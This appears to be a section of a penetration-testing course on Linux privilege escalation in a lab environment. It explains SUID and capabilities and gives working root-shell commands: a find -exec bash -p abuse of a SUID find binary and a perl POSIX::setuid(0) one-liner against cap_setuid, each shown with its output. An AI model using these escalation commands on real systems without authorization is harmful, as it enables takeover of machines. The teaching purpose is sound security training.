Insecure System Components

Abusing Setuid Binaries and Capabilities

To better demonstrate this concept, let's analyze the passwd program, which is responsible for changing the password for the user executing it. On the Debian lab machine, we'll connect as joe and execute the passwd command without typing anything afterwards, so that the process remains active in memory.

joe@debian-privesc:~$ passwd Changing password for joe. Current password:

Listing 40 - Executing the passswd program

Leaving the program in standby, let's open another shell as joe to further inspect the process.

To find the PID (process ID) of the passwd program, we can list all processes and filter the output based on the target name:

joe@debian-privesc:~$ ps u -C passwd USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1932 0.0 0.1 9364 2984 pts/0 S+ 01:51 0:00 passwd

Listing 41 - Inspecting passwd's process credentials

Interestingly, passwd is running as the root user: this is needed for it to access and modify /etc/shadow.

We can also inspect the real UID and effective UID assigned for the process by inspecting the proc pseudo-filesystem, which allows us to interact with kernel information. Using the passwd's PID (1932) from the previous output, let's inspect the content at /proc/1932/status, which provides a summary of the process attributes:

joe@debian-privesc:~$ grep Uid /proc/1932/status Uid: 1000 0 0 0

Listing 42 - Inspecting passwd's process credentials

Filtering by the "Uid" keyword returns four parameters that correspond to the real, effective, saved set, and filesystem UIDs. In this case, the Real UID value is 1000, which is expected as it belongs to joe. However, the other three values, including the effective UID, equal the root's ID 0: let's consider why.

Under normal circumstances, all four values would belong to the same user who launched the executable. For instance, the bash process for joe (PID 1131 in this case) has the following values:

joe@debian-privesc:~$ cat /proc/1131/status | grep Uid Uid: 1000 1000 1000 1000

Listing 43 - Inspecting passwd's process credentials

The passwd binary behaves differently because the binary program has a special flag named Set-User-ID, or SUID in short. Let's inspect it:

joe@debian-privesc:~$ ls -asl /usr/bin/passwd 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd

Listing 44 - Revealing the SUID flag in the passwd binary application

The SUID flag is depicted with the s flag in the above output. This flag can be configured using the chmod u+s command, and it sets the effective UID of the running process to the executable owner's user ID - in this case root's.

Using this technique results in a legitimate and constrained privilege escalation and because of this (as we'll learn shortly), the SUID binary must be bug-free to avoid any misuse of the application.

As a practical example, once we've completed manual or automated enumeration, we'll have discovered that the find utility is misconfigured and has the SUID flag set.

We can quickly abuse this vulnerability by running the find program to search any well-known file, like our own Desktop folder. Once the file is found, we can instruct find to perform any action through the -exec parameter. In this case, we want to execute a bash shell along with the Set Builtin1 -p parameter that is preventing the effective user from being reset.

joe@debian-privesc:~$ find /home/joe/Desktop -exec "/usr/bin/bash" -p ; bash-5.0# id uid=1000(joe) gid=1000(joe) euid=0(root) groups=1000(joe),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),116(lpadmin),117(scanner) bash-5.0# whoami root

Listing 45 - Getting a root shell by abusing SUID program

After running the command, we've obtained a root shell and we'll observe that although the UID still belongs to joe, the effective user ID is from root.

Another set of features subject to privilege escalation techniques are Linux capabilities.2

Capabilities are extra attributes that can be applied to processes, binaries, and services to assign specific privileges normally reserved for administrative operations, such as traffic capturing or adding kernel modules. Similarly to setuid binaries, if misconfigured, these capabilities could allow an attacker to elevate their privileges to root.

To demonstrate these risks, let's try to manually enumerate our target system for binaries with capabilities. We are going to run getcap with the -r parameter to perform a recursive search starting from the root folder /, filtering out any errors from the terminal output.

joe@debian-privesc:~$ /usr/sbin/getcap -r / 2>/dev/null

/usr/bin/ping = cap_net_raw+ep /usr/bin/perl = cap_setuid+ep /usr/bin/perl5.28.1 = cap_setuid+ep /usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

Listing 46 - Manually Enumerating Capabilities

The two perl binaries stand out as they have setuid capabilities enabled, along with the +ep flag specifying that these capabilities are effective and permitted.

Even though they seem similar, capabilities, setuid, and the setuid flag are located in different places within the Linux ELF file format.

In order to exploit this capability misconfiguration, we could check the GTFOBins3 website. This site provides an organized list of UNIX binaries and how can they be misused to elevate our privileges.

Searching for "Perl" on the GTFOBins website, we'll find precise instructions for which command to use to exploit capabilities. We'll use the whole command, which executes a shell along with a few POSIX directives enabling setuid.

joe@debian-privesc:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";' perl: warning: Setting locale failed. ...

id

uid=0(root) gid=1000(joe) groups=1000(joe),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),116(lpadmin),117(scanner)

Last updated